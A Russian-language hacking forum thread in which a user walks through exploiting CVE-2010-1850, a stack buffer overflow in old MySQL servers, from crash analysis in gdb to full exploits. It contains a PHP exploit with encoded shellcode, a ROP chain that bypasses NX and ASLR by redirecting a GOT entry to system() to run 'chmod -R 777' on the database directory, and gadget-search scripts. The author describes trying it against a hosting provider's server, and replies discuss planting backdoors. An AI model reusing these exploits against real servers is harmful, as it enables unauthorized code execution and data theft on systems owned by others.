PDA

Просмотр полной версии : Эсплуатация CVE-2010-1850 (mysqld)


ont
27.10.2011, 13:09
Link: http://www.cvedetails.com/cve/CVE-2010-1850
Версии: 5.0 - 5.0.91; 5.1.0 - 5.1.47
Тип: BoF on stack (Buffer overflow); необходима авторизация на сервере; можно считать удаленной

Как описывается в CVE, через команду COM_FIELD_LIST можно вызвать переполнение буфера.

В качестве примера в багрепортах приведен следующий код:

<?php
if (!$link = mysql_connect("127.0.0.1", "root", "root", "test")) {
printf("Cannot connect to the server");
exit(1);
}
if ($res = mysql_list_fields("test", str_repeat('test', 16384), $link)) {
printf("[001] got result set, where non was expected");
}
mysql_close($link);
print "done!";
?>

Как видим вся суть в очень длинном имени таблицы str_repeat('test', 16384).

Теперь, что имелось у меня и общая схема моих действий.
Что имелось: "якобы" уязвимый сервер mysql у хостера SpaceWeb (об этом обломе будет рассказано дальше).

Его переменные:

@@version = '5.0.26-log'
@@basedir = '/usr/'
@@datadir = '/var/lib/mysql/'


1. Скачиваем и поднимаем сервер
Ну раз такие дела, то можно попробовать уронить сервер. Ронять решил у себя под VirtualBox.
Для этого выкачиваем следующие файлы:

/usr/sbin/mysql*
/usr/lib/libmysql*



Не мешало бы определить какой mysqld стартует по дефолту (этих самых mysqld может быть несколько).

$ which mysqld
/usr/sbin/mysqld

... также могут быть здесь:
/usr/libexec
/usr/local/libexec


Все это можно залить в один каталог на виртуальной машине. И пользоваться
переменной окружения LD_LIBRARY_PATH для указания поиска библиотек.

После заливки воспользуемся ldd и докачаем недостающие билиотеки.

[root@myhost sbin]# LD_LIBRARY_PATH=./ ldd ./mysqld
linux-gate.so.1 => (0xb787b000)
librt.so.1 => /lib/librt.so.1 (0xb7866000)
libz.so.1 => /usr/lib/libz.so.1 (0xb784e000)
libdl.so.2 => /lib/libdl.so.2 (0xb7849000)
libssl.so.0.9.8 => not found
libcrypto.so.0.9.8 => not found
libpthread.so.0 => /lib/libpthread.so.0 (0xb782d000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0xb77fc000)
libnsl.so.1 => /lib/libnsl.so.1 (0xb77e3000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xb76f4000)
libm.so.6 => /lib/libm.so.6 (0xb76c9000)
libgcc_s.so.1 => /usr/lib/libgcc_s.so.1 (0xb76ac000)
libc.so.6 => /lib/libc.so.6 (0xb7543000)
/lib/ld-linux.so.2 (0xb787c000)


Не хватает библиотек libssl.so.0.9.8 libcrypto.so.0.9.8. Докачиваем их.
Конфиг пришлось взять от более новой версии и править его на каждое замечание mysql.

Перед запуском самого сервера необходимо выполнить:

LD_LIBRARY_PATH=./ ./mysql_install_db

Это создаст необходимый скелет базы. Mysql требуются определенные права на
дириектори если не стартует, то можно легко выяснить через strace. Такое
окружение можно считать очень приближенным к реальному на сервере.

2. Создаем второе окружение
С помощью PoC-кода на php можно убедиться в том, что сервер в нашей виртуалке
падает. Естественно, скачанный бинарник оказался без отладочных символов,
поэтому в отладчике gdb будет что-то подобие OllyDBG (можно дизассемблировать,
наблюдать за стеком и кучей, но привязки к исходному коду не будет).

Можно сделать удобнее :) Создаем в виртуалке текущий снапшот с сервером
хостера, откатываемся к чистой системе и скачиваем с официального сайта
исходники mysql. В моем случае самой ближайшей версией оказался mysql-5.0.44.

1) конфигурим с опцией --with-debug=full
2) компилим и ставим
3) убеждаемся что он также падает

3. Пишем лабораторный эксплоит
Что будем обходить: ASLR, utf8-строки, unescape.

Считаем, что можно исполнять код на стеке/куче (лаборатория), но есть ASLR.
Преобразования строки делает сервер.

Ставим cgdb (надстройка над gdb) и запускаем наш собранный сервер.


cgdb ./mysql
(gdb) run


Запускаем PoC и наблюдаем краш в функции open_table на строчке 1269:

1247│ TABLE *open_table(THD *thd, TABLE_LIST *table_list, MEM_ROOT *mem_root,
1248│ bool *refresh, uint flags)
1249│ {
1250│ reg1 TABLE *table;
1251│ char key[MAX_DBKEY_LENGTH];
1252│ uint key_length;
1253│ char *alias= table_list->alias;
1254│ HASH_SEARCH_STATE state;
1255│ DBUG_ENTER("open_table");
1256│
1257│ /* find a unused table in the open table cache */
1258│ if (refresh)
1259│ *refresh=0;
1260│
1261│ /* an open table operation needs a lot of the stack space */
1262│ if (check_stack_overrun(thd, STACK_MIN_SIZE_FOR_OPEN, (char *)&alias))
1263│ DBUG_RETURN(0);
1264│
1265│ if (thd->killed)
1266│ DBUG_RETURN(0);
1267│ key_length= (uint) (strmov(strmov(key, table_list->db)+1,
1268│ table_list->table_name)-key)+1;
1269├> int4store(key + key_length, thd->server_id);


Структура стека до переполнения выглядела так:

[key][.. other local vars ..][saved EIP][.. function args ..]


После перезаписи:

[key "testtesttesttest...."][ "..testtesttesttest.." ][saved EIP "..est.." ][ "..testtesttesttest.." ]


Строка очень длинная и она перезаписывает локальные переменные, сохраненный
EIP и данные, которые были переданы в функцию при вызове. В том числе,
перезаписывается переменная thd. Она является указателем, поэтому в случае
32-битной ОС хранится на стеке как 4 байта. Эти четыре байта перетираются новыми
и получается новое значение.

Собственно переполнение происходит в строках 1267-1268, после чего код
выполняется дальше. А на строчке 1269 идет обращение к полю server_id объекта
thd, адрес которого был перезаписан. В моем случае thd было равно 0x74747365.
Поле server_id лежит недалеко, поэтому получается ошибка чтения памяти.

Итого: можно перезаписать EIP любым значением, но чтобы saved EIP "превратился"
в реальный, нужно избежать ошибок и как можно быстрее выйти из функции
open_table.

open_table:1269

Чтобы обойти эту проблему перезапишем thd указателем на секцию .text.

Секция .text в /proc/$MYSQL_PID/maps (адреса 08048000-0861d000):

08048000-0861d000 r-xp 00000000 08:03 391240 /usr/local/libexec/mysqld
0861d000-0865d000 rw-p 005d4000 08:03 391240 /usr/local/libexec/mysqld
0865d000-08bae000 rw-p 00000000 00:00 0 [heap]
...
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]


Она же в выводе readelf:

[root@myhost libexec]# readelf -S mysqld
There are 38 section headers, starting at offset 0x11018f0:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
...
[12] .init PROGBITS 0812b2a0 0e32a0 00002e 00 AX 0 0 4
[13] .plt PROGBITS 0812b2d0 0e32d0 000f30 04 AX 0 0 4
[14] .text PROGBITS 0812c200 0e4200 36ddec 00 AX 0 0 16
[15] .fini PROGBITS 08499fec 451fec 00001a 00 AX 0 0 4
...
[23] .got PROGBITS 0861d74c 5d474c 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0861d750 5d4750 0003d4 04 WA 0 0 4
[25] .data PROGBITS 0861db40 5d4b40 03e74c 00 WA 0 0 32
[26] .bss NOBITS 0865c2a0 61328c 00bb00 00 WA 0 0 32
[27] .comment PROGBITS 00000000 61328c 000027 01 MS 0 0 1
...
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)


Писать в .text нельзя -- это исполняемый код программы, а читать можно, поэтому
попытка прочитать thd->server_id не вызовет ошибки. Тем более, это одна из
стабильных секций, адреса которых не портятся ASLR.

Выберем для thd произвольный адрес из диапазона 08048000-0861d000.

open_table:1279


1278│ */
1279│ if (!table_list->skip_temporary)
1280│ {


Следующий краш происходит внутри этого условия. Избежать его можно только
добившись false в условии. Тип переменной skip_temporary -- bool, поэтому по
адресу &(table_list->skip_temporary) должно лежать значение строго равное 0x01,
иначе skip_temporary будет считаться равным false.

Так как здесь опять чтение, а не запись, то перезапишем указатель table_list на секцию .text.

Выполним в cgdb:

(gdb) p/x &table_list->skip_temporary - (void *)table_list
$5 = 0x17a


Это значит, что поле skip_temporary лежит на расстоянии 0x17a байтов от начала table_list.

Значит необходимо найти в .text такое смещение offset, что по адресу offset + 0x17a лежит байт 0x01.

Искать будем не в памяти, а в исходном файле, так будет проще. Во время
тестирования мне также было интересно, чтобы в полях table_list->table_name и
table_list->db лежали какие-нибудь строки, поэтому в целом скрипт выглядел вот
так:


import struct

def read_str( val, s ):
off = val - 0x08048000
name = ''
while s[ off ] != '\x00':
name += s[ off ]
off += 1
return name

s = open( 'mysqld' ).read()
for i,x in enumerate( s[ :0x5d5000 ] ):
if x == '\x01':
#v = struct.unpack( 'L', s[ i-0x16e : i-0x16e+4 ] )[ 0 ]
base = i - 0x17a
v1 = struct.unpack_from( 'L', s, base + 0xc )[ 0 ]
v2 = struct.unpack_from( 'L', s, base + 0x14 )[ 0 ]
if 0x08048000 < v1 < 0x0861d000 and\
0x08048000 < v2 < 0x0861d000:
db_name = read_str( v1, s )
tb_name = read_str( v2, s )
print hex( i ), ':[%s,%s]' % ( hex( v1 ), hex( v2 ) ), '-', len( db_name ), '-', len( tb_name ), '=>', hex( 0x08048000 + base )



open_table:1315


1314│ */
1315│ if (!(flags & MYSQL_OPEN_IGNORE_LOCKED_TABLES) &&
1316│ (thd->locked_tables || thd->prelocked_mode))
1317│ { // Using table locks

Следующая наша остановка происходит на данном замороченном условии. Мне также
не хотелось попадать внутрь этого if.

Очевидно, что достаточно сделать !(flags & MYSQL_OPEN_IGNORE_LOCKED_TABLES) == false,
тогда не придется заморачиваться с поиском нужной структуры thd, как это
было проделано для table_list.

Вспоминаем, что flags это тоже аргумент функции, а MYSQL_OPEN_IGNORE_LOCKED_TABLES

./sql/mysql_priv.h:#define MYSQL_OPEN_IGNORE_LOCKED_TABLES 0x0008


Перезапишем flags значением 0x08080808.



open_table:return



1448│ */
1449│ if (!thd->open_tables)
1450│ thd->version=refresh_version;
1451│ else if ((thd->version != refresh_version) &&
1452│ ! (flags & MYSQL_LOCK_IGNORE_FLUSH))
1453│ {
1454│ /* Someone did a refresh while thread was opening tables */
1455│ if (refresh)
1456│ *refresh=1;
1457│ VOID(pthread_mutex_unlock(&LOCK_open));
1458│ DBUG_RETURN(0);
1459│ }

Наконец доползаем до участка кода, где можно войти в код условия и
безболезненно дойти до return, который запрятан в DBUG_RETURN(0). Очевидно,
что thd->version != refresh_version, т.к. в thd во всех полях лежит мусор.
Осталось сделать ! (flags & MYSQL_LOCK_IGNORE_FLUSH) == true.


./sql/mysql_priv.h:#define MYSQL_LOCK_IGNORE_FLUSH 0x0002


Поэтому flags должен принять такое значение, что

flags & 0x08 == true
flags & 0x02 == false


Подойдет значение 0x4d, поэтому перезапишем flags 0x4d4d4d4d ("MMMM").

Осталась маленькая проблемка в виде аргумента функции refresh. Очень хотелось
бы перезаписать ее значением 0x00000000, но байт 0x00 обозначает конец строки,
поэтому его нельзя использовать в имени таблицы и нашем эксплоите.

Поэтому перезапишем указатель refresh указателем на область
(0861d000-0865d000). Из maps видно, что она доступна на запись. Также адреса
этого диапазона стабильны и не изменяются (в этот диапазон входят секции .bss, .data ...)


План захвата мира
Мы перезаписали EIP и после return уже будет выполнятся код по адресу
перезаписанного EIP. Также предположили, что можно выполнять код на стеке.
Идея проста -- находим в дизассемблинге mysql следующую последовательность:


jmp *esp ;;
либо
push esp; ret ;;


И перетираем EIP адресом этого гаджета. Регистр esp указывает на стек, поэтому
мы "прыгнем" на него и будем выполнять наш код, который мы передали в имени
таблицы.

Итак, у нас есть план :) После перезаписи стек будет выглядеть так:


[ key "AAAAAAAAA..." ][ local vars "..AAAAAAA.." ][ saved EIP "указатель_на_jmp_esp" ][ thd "адрес_в_.text" ][ table_list "адрес_в_.text" ]...
...[ mem_root "AAAA" ][ refresh "адрес_в_.bss" ][ flags "MMMM" ][ "шелл-код" ]


Заголовок функции (для наглядности):

1247│ TABLE *open_table(THD *thd, TABLE_LIST *table_list, MEM_ROOT *mem_root,
1248│ bool *refresh, uint flags)


Но ээээ... постойте... после прыжка на гаджет "jmp_esp" регистр ESP будет указывать вот сюда:

[ key "AAAAAAAAA..." ][ local vars "..AAAAAAA.." ][ saved EIP "указатель_на_jmp_esp" ][ thd "адрес_в_.text" ][ table_list "адрес_в_.text" ]...
ESP -------------------------------------------------------------------------------------^^^^^^^^^^^^^^^^^^^^^^^


Прыгать сюда нельзя, поэтому, вместо одного гаджета, воспользуемся двумя:

первый:
add esp, 0x20; pop ; pop ; pop ;;

второй:
jmp *esp ;;


Первый сместит указатель ESP "вправо" через все аргументы функции на адрес
второго гаджета на стеке, а затем прыгнет на него. Второй гаджет прыгнет на
шелл-код на стеке.

Как-то так должно все выглядеть:

[ key "AAAAAAAAA..." ][ local vars "..AAAAAAA.." ][ saved EIP "первый_гаджет" ][ thd "адрес_в_.text" ][ table_list "адрес_в_.text" ]...
...[ mem_root "AAAA" ][ refresh "адрес_в_.bss" ][ flags "MMMM" ][ "xxxxyyyyzzzzaaaabbbbcccc" ][ "адрес_второго_гаджета" ][ "шелл-код" ]



Эксплоит

Специально для киддисов (вроде меня), которые сразу ломанутся запускать этот
эксплоит на сервере: 99.9999% вероятности, что он не отработает. В осадок
выпадут: сервер (c segmentation fault), админ сервера и вы, когда обнаружите
обновленную и залатанную версию сервера. Все адреса зависят от бинарника
mysql!

Трудности и утилиты:
* количество буковок "A" определялось при помощи утилиты patter_create.rb и patter_offset.rb из metasploit.
* mysqld делает преобразование строки, поэтому в ней не должно быть следующих байтов: 0x00, 0x5c ('\'), 0x80-0xff.
* чтобы убрать эти значения из шелл-кода, был использован кодер msfencode с кодировщиком x86/alpha_mixed.
* гаджет jmp *esp искался с помощью msfelfscan, еще один можно найти вручную или с помощью ROPME (далее).
* шелл-код был взят отсюда: http://www.exploit-db.com/exploits/13388

Итоговый эксплоит:

<?php
if (!$link = mysql_connect("127.0.0.1", "xxx", "xxxxxx", "test")) {
printf("Cannot connect to the server");
exit(1);
}

$db_list = mysql_list_dbs($link);
while ($row = mysql_fetch_object($db_list)) {
echo $row->Database . "\n";
}

$shell = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABu JIPjCVQHZ9PjGqQKCbPSCZERLIM1XMK0CkQMCbPfMmQyQjTOXM ViKmV5RJTPCaPPK9XaNPQvXMK0NSC4NPQvXMMPCoV0V0V7OyKQ G3LpPfZmOpNsLpGrXMOpOuKpCEEJCiNPEoXMMPRiRYKINPVkCX ToToCCE8RHToRBQyPnNiIsPRV3ZKLrPjC6PXXMK0LsETXkIYTJ AA";
$payld = "NNN". str_repeat('aa', 108)."x".
"\xb5\x05\x13\x08". // EIP points to [ add $esp, 20h; pop; pop; pop; ret ]
"\x11\x11\x21\x08". // THD *
"\x38\x2c\x22\x08". // TABLE_LIST *
"abcd". // notused
"\x33\x33\x62\x08". // bool *
"MMMM". // flags ( statisfy: flags & 0x8 && !(flags & 0x2) )
"xxxx". // --> add $esp ...
"yyyy". // --> add $esp ...
"zzzz". // --> add $esp ...
"aaaa". // --> pop
"bbbb". // --> pop
"cccc". // --> pop
"\x73\x33\x4e\x08"; // [ jmp $esp ]

if ($res = mysql_list_fields("test", $payld.$shell, $link)) {
printf("[001] got result set, where non was expected");
}
mysql_close($link);
print "done!";
?>


Ссылка на мой скомпилированный mysqld для которого писался эксплоит: http://depositfiles.com/files/fia54icgy



4. Пишем реальный боевой эксплоит
Что будем обходить: NX, ASLR, utf8-строки, unescape.

Под NX здесь понимается неисполняемый стек и куча. Мы уже не можем использовать
гаджет jmp_esp, так как при попытки выполнить код со стека сразу получим
segmentation fault.

Проверить и убедится в наличии NX на атакуемом сервере просто -- нужно
откомпилировать код с прыжком на стек у себя, залить на сервер и запустить.

Многие шелл-коды идут как раз в таком формате:

char shellcode[] = "\xblablabla..."
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}


Включить core-dump можно через ulimit

ulimit -c unlimited


После краша (если он произойдет), в директории запуска появится файлик core, который
можно закачать к себе и открыть в gdb:

gdb ./откомпилированный_shellcode core

Будет отлично видно значение всех регистров.


Ищем гаджеты

Прыгать на стек нельзя, прыгать в секцию .text можно. Нужно составить список
всех интересных команд, которые завершаются командой ret. Адреса этих гаджетов
можно будет разместить в нашей строке и с их помощью сделать что-то полезное
доброе и вечное :)

Можно написать свой скрипт на python, но меня он не очень устроил, поэтому я
воспользовался проектом ROPME:
http://marcoramilli.blogspot.com/2011/08/rop-ropme.html

Проект многообещающий, но не учитывающий вредную особенность mysql портить строку.

Поступаем следующим образом -- дампаем все гаджеты при помощи ROPME
(ropshell.py) в .ggt файл, а затем патчим утилиту search-gadgets.py.

Код search-gadgets.py:

from gadgets import *
import sys
import os

# search gadgets database

def good( vs ):
bs = [ ( vs & ( 0xff << (i*8) ) ) >> (i*8) for i in xrange( 4 ) ]
return False if filter( lambda x: x >= 0x7f or x in ( 0x00, 0x5c ), bs ) else True


if (__name__ == "__main__"):
g = ROPGadget(debug=0)
try:
gadget_file = sys.argv[1]
except:
print "Usage: " + sys.argv[0] + " gadget_file asm_code"
sys.exit(-1)
g.load_asm(gadget_file)

try:
code = sys.argv[2]
except:
code = "*"
for result in g.asm_search(code):
(code, offset) = result
if len(result) > 1 and good( offset ):
print hex(offset), ":", code



Новый план

Из гаджетов составим программку, которая перезапишет значение в GOT таблице.

Постараюсь объяснить своими словами, что это такое.

Когда программа вызывает библиотечную функцию (strcpy, memset, sleep, ...), то
в ассемблерном коде это выглядит как вызов специального гаджета через call.

Например найдем вызов snprintf (libc.so.6) в mysql:

$ objdump -d mysqld | grep snprintf
...
819e2c4: e8 a7 dc f8 ff call 812bf70 <snprintf@plt>
81a21d2: e8 99 9d f8 ff call 812bf70 <snprintf@plt>
81a2ab2: e8 b9 94 f8 ff call 812bf70 <snprintf@plt>
...


Приставка plt обозначает, что будет вызван гаджет, а не сама функция.

Гаджет выглядит как:

jmp *ячейка_таблицы_GOT


Адрес этой ячейки можно посмотреть так:

$ readelf -r mysqld | grep snprintf
Offset Info Type Sym.Value Sym. Name
0861da80 0000c907 R_386_JUMP_SLOT 00000000 snprintf


Гаджет будет прыгать (jmp) на адрес, который записан в ячейке 0861da80.

Это позволяет размещать библиотеки в произвольном месте (ASLR) и затем
подсказывать при помощи GOT таблицы статичному коду где лежит нужная функция.

ASLR смещает libc.so.6 произвольным образом, но как цельный монолит, поэтому
расстояние между функциями, например, snprintf и system остается постоянным.
Адрес ячейки для snprintf также заранее известен и постоянен. Это позволяет
"подкрутить" значение в ячейке на нужное смещение и получить адрес уже совсем
другой функции.

Новый план: к значению по адресу 0861da80 добавить/отнять некоторое число, а
затем вызвать snprintf.

*(0x0861da80) += offset
call snprintf@plt


В моем случае нужно вычесть 0xf080:

$ readelf -s /lib/libc.so.6 | grep snprintf
...
2292: 00049f50 56 FUNC WEAK DEFAULT 12 snprintf@@GLIBC_2.0
...

$ readelf -s /lib/libc.so.6 | grep system
...
1415: 0003aed0 139 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
...

0xf080 = 0x49f50 - 0x3aed0


Структура нашей строки для переполнения:

[ "AAAAAA ..."][ ..правильно перетертые переменные и EIP.. ][гаджет_1][гаджет_2][гаджет_3]...[гаджет_N]...
...[ snprintf@plt "0x812bf70" ][гаджет_N+1][0x55555555][гаджет_N+2][гаджет_N+3]...["chmod -R 777 /var/lib/mysql"]


Гаджеты с 1 по N должны увеличить/уменьшить значение в ячейке GOT и перезаписать
0x55555555. Вместо 0x55555555 должен быть адрес строки. Так как snprintf это
не snprintf, а боевой system, то он принимает один аргумент -- адрес строки с
системной командой. Это строку мы размещаем в самом конце, чтобы она
автоматически дополнилась 0x00. На момент написания из-за ASLR этот адрес
неизвестен, но его относительно легко можно получить. Адрес строки идет после
адреса возврата, куда прыгнет snprintf после своей работы.

Эксплоит:
Еще одно предупреждение: это также в 99.9999% случаев
нерабочий эксплоит, который не стоит пробовать на рабочем сервере.
Все адреса зависят от бинарника mysql и адресов библиотеки libc.so.6!

Чтобы не завалить сервер после подкрутки до system у меня просиходит повторная
подкрутка до sleep, чтобы отработавший поток просто уснул без краша.


<?php
if (!$link = mysql_connect("127.0.0.1", "xxx", "xxxxxx", "test")) {
printf("Cannot connect to the server");
exit(1);
}

$db_list = mysql_list_dbs($link);
while ($row = mysql_fetch_object($db_list)) {
echo $row->Database . "\n";
}

$first = "\x42\x79\x01\x01";
$second = "\x42\x79\x01\x01";
//distance to f_sleep is : 0xfffa0950L
$triple_1 = "\x34\x34\x34\x34";
$triple_2 = "\x02\x7a\x78\x78";
$triple_3 = "\x1b\x5b\x4d\x53";

$payld = str_repeat( 'A', 161 ).
"\x70\x09\x11\x08". // EIP --> add esp, 0x10; pop ; pop ; pop ;;
"\x34\x46\x56\x08". // THD *
"\x34\x46\x56\x08". // TABLE_LIST *
"aaaa". // not used
"\x11\x11\x66\x08". // bool *
"MMMM". // flags (statisfy: flags & 0x8 && !(flags & 0x2) )
"1111". // --> pop ( EIP gadget )
"2222". // --> pop ( EIP gadget )
"\x3a\x60\x22\x08". // pop eax; dec eax; pop ebp ;;
$first. // --> eax eax <-- value1 + 0x01010101 + 0x01
"\x77\x77\x77\x77". // --> ...
"\x14\x03\x5f\x08". // pop ecx; nop ;;
"\x01\x01\x01\x01". // --> ecx ecx <-- 0x01010101
"\x03\x09\x2d\x08". // sub eax ecx ;; eax = eax - 0x01010101 = value1
"\x50\x59\x33\x08". // mov edx eax; mov eax edx ;; edx <-- eax

"\x3a\x60\x22\x08". // pop eax; dec eax; pop ebp ;;
$second. // --> eax eax <-- value2 + 0x01010101 + 0x01
"\x77\x77\x77\x77". // --> ...
"\x14\x03\x5f\x08". // pop ecx; nop ;;
"\x01\x01\x01\x01". // --> ecx ecx <-- 0x01010101
"\x03\x09\x2d\x08". // sub eax ecx ;; eax = eax - 0x01010101 = value2
"\x41\x24\x18\x08". // add eax edx ;; eax = value1 + value2

"\x14\x03\x5f\x08". // pop ecx ; nop ;;
"\x0b\x7c\x03\x01". // --> ecx ecx <-- part1
"\x79\x35\x5a\x08". // pop ebx ;;
"\x05\x58\x62\x07". // --> ebx ebx <-- part2

"\x17\x1c\x07\x08". // sub [ebx+ecx] eax ; and al 0x89 ;; snprintf --> system ( [part1+part2] -= value1 + value2 )
"\x36\x13\x07\x08". // push esp ; pop edx ;; edx = esp; edx + xxx = &(0x55555555)
"\x3a\x60\x22\x08". // pop eax; dec eax; pop ebp ;; edx+0 <<< edx points here
"\x4a\x01\x01\x01". // --> eax edx+4 0x0101014a - 1 - 0x01010101 = 0x48 = 72
"\x77\x77\x77\x77". // --> ... edx+8
"\x14\x03\x5f\x08". // pop ecx; nop ;; edx+12
"\x01\x01\x01\x01". // --> ecx edx+16
"\x03\x09\x2d\x08". // sub eax ecx ;; edx+20
"\x41\x24\x18\x08". // add eax edx ;; edx+24 eax = &(0x55555555)
"\x6b\x31\x5b\x08". // xchg ecx eax ;; edx+28 eax --> ecx
"\x34\x09\x47\x08". // mov eax ecx ; pop edi ; pop ebp ;; edx+32 eax == ecx == &(0x55555555) [we SAVE eax in ecx]
"\x77\x77\x77\x77". // --> ... edx+36
"\x77\x77\x77\x77". // --> ... edx+40
"\x20\x06\x27\x08". // add eax 0x64 ;; edx+44 [eax] == "chmod -R ... "
"\x50\x59\x33\x08". // mov edx eax ; mov eax edx ;; edx+48 edx == eax == &(0x55555555) + yyy == "chmod -R ... "
"\x6b\x31\x5b\x08". // xchg ecx eax ;; edx+52 [ restore SAVED eax from ecx ]
"\x16\x3d\x4e\x08". // mov [eax] edx ; mov eax 0x1 ; pop ebp ;; edx+56 correct 0x55555555 value with &(0x55555555) + yyy
"\x77\x77\x77\x77". // --> ... edx+60
"\x50\x02\x11\x08". // <snprintf@plt> edx+64
"\x71\x2f\x18\x08". // add esp 0x4 ; pop ebx ; pop ebp ;; edx+68
"\x55\x55\x55\x55". // edx+72 (*) &(0x55555555) + 0x64 (100 in decimal) = "chmod -R 777 /home/var/mysql"
"\x77\x77\x77\x77". // --> ... ( pop ebx -- from 0x08182f71 gadget ) edx+76
"\x77\x77\x77\x77". // --> ... ( pop ebp -- from 0x08182f71 gadget ) edx+80
"\x20\x39\x0a\x08". // inc ebp ;; edx+84 // ROP nop
"\x20\x39\x0a\x08". // inc ebp ;; edx+88 // ROP nop
"\x20\x39\x0a\x08". // inc ebp ;; edx+92 // ROP nop
"\x20\x39\x0a\x08". // inc ebp ;; edx+96 // ROP nop
"\x20\x39\x0a\x08". // inc ebp ;; edx+100 // ROP nop
"\x37\x13\x07\x08". // pop edx ;; edx+104
$triple_1. // --> edx edx+108 edx <-- triple1
"\x3a\x60\x22\x08". // pop eax; dec eax; pop ebp ;; edx+112
$triple_2. // --> eax edx+116 eax <-- triple2
"\x77\x77\x77\x77". // --> ... edx+120
"\x41\x24\x18\x08". // add eax edx ;; edx+124 eax += edx
"\x37\x13\x07\x08". // pop edx ;; edx+128
$triple_3. // --> edx edx+132 edx <-- triple3
"\x41\x24\x18\x08". // add eax edx ;; edx+136 eax += edx == triple1 + triple2 + triple3 == value
"\x14\x03\x5f\x08". // pop ecx ; nop ;; edx+140 load 1_part of addr in GOT table
"\x0b\x7c\x03\x01". // --> ecx edx+144
"\x79\x35\x5a\x08". // pop ebx ;; edx+148 load 2_part of addr in GOT table
"\x05\x58\x62\x07". // --> ebx edx+152
"\x17\x1c\x07\x08". // sub [ebx+ecx] eax ; and al 0x89 ;; edx+156 system --> sleep
"\x50\x02\x11\x08". // <snprintf@plt> edx+160 call sleep( 0x56565656 )
"\x33\x33\x33\x33". // o.O edx+164
"\x56\x56\x56\x56". // edx+168
" touch /tmp/SleeP.txt"; // edx+172
//"chmod -R 777 /home/var/mysql";

if ($res = mysql_list_fields("test", $payld, $link)) {
printf("[001] got result set, where non was expected");
}
mysql_close($link);
print "done!";
?>



Все эти выкрутасы с суммами, вычитаниями и парами/тройками чисел нужны чтобы
избежать нехороших значений в строке.

0x80220000 -- нельзя

0x41120101 -- можно
0x01010101 -- можно

0x80220000 == 0x41120101 - 0x01010101 + 0x41120101 - 0x01010101


Скачанное с сервера окружение уязвимого mysql: http://depositfiles.com/files/f34w054p0

Спасибо за внимание, если что-то непонятно, то распишу подробнее.

Ах да... Админ SpaceWeb меня жестоко обманул и запускает патченный бинарник, а
этот, который я ломал, видимо остался от старой установки... На его сервере
функция mysql_list_fields возвращает false для такого эксплоита :(

trashmail
27.10.2011, 15:36
Извиняюсь м.б. за тупой вопрос. Проэксплатировав эту уязвимость я полу рута?

ont
27.10.2011, 16:33
Извиняюсь м.б. за тупой вопрос. Проэксплатировав эту уязвимость я полу рута?
Только если mysqld запущен от root.

Возможные сценарии эксплуатации:
1) Есть доступ на сервер, но нет доступа к базам, тогда chmod -R 777 /var/lib/mysql теоретически должно дать доступ на чтение ко всем базам.
2) Нет доступа на сервер, но есть доступ к mysql (логин и пароль и открыт порт на сервере). Тогда через несколько спайпленных команд можно запустить на сервере бэкдор и получить локальный доступ.

lefty
27.10.2011, 18:03
Еще одно предупреждение: это также в 99.9999% случаев
нерабочий эксплоит, который не стоит пробовать на рабочем сервере.
Все адреса зависят от бинарника mysql и адресов библиотеки libc.so.6!
может снабдить код бруталкой оффсетов адресов ?

2) Нет доступа на сервер, но есть доступ к mysql (логин и пароль и открыт порт на сервере). Тогда через несколько спайпленных команд можно запустить на сервере бэкдор и получить локальный доступ.
в этом плане кстати UDF функционал субд часто может помочь (в случае если есть file_priv), у того же Bernardo Damele в его блоге на этот счет много постов

ont
27.10.2011, 19:30
может снабдить код бруталкой оффсетов адресов ?
Ну автоматизировать поиск адресов для thd, table_list и refresh можно. А вот с гаджетами труднее )
У каждого билда бинарника, свой набор гаджетов.

В ROPME они ищутся вручную, после чего пишется полуавтоматический скрипт, который генерит ROP-последовательность.


в этом плане кстати UDF функционал субд часто может помочь (в случае если есть file_priv), у того же Bernardo Damele в его блоге на этот счет много постов
Не совсем так ) Собранную *.so нужно скопировать в /usr/lib, иначе сервер ее не подгрузит, а это может только root.

lefty
27.10.2011, 21:05
Не совсем так ) Собранную *.so нужно скопировать в /usr/lib, иначе сервер ее не подгрузит, а это может только root.
бывает что права выставлены "как надо" и рут не нужен. а на win* машинах в большинстве случаев с правами доступа к нужным каталогам фс вообще нет проблем - пиши куда хочу.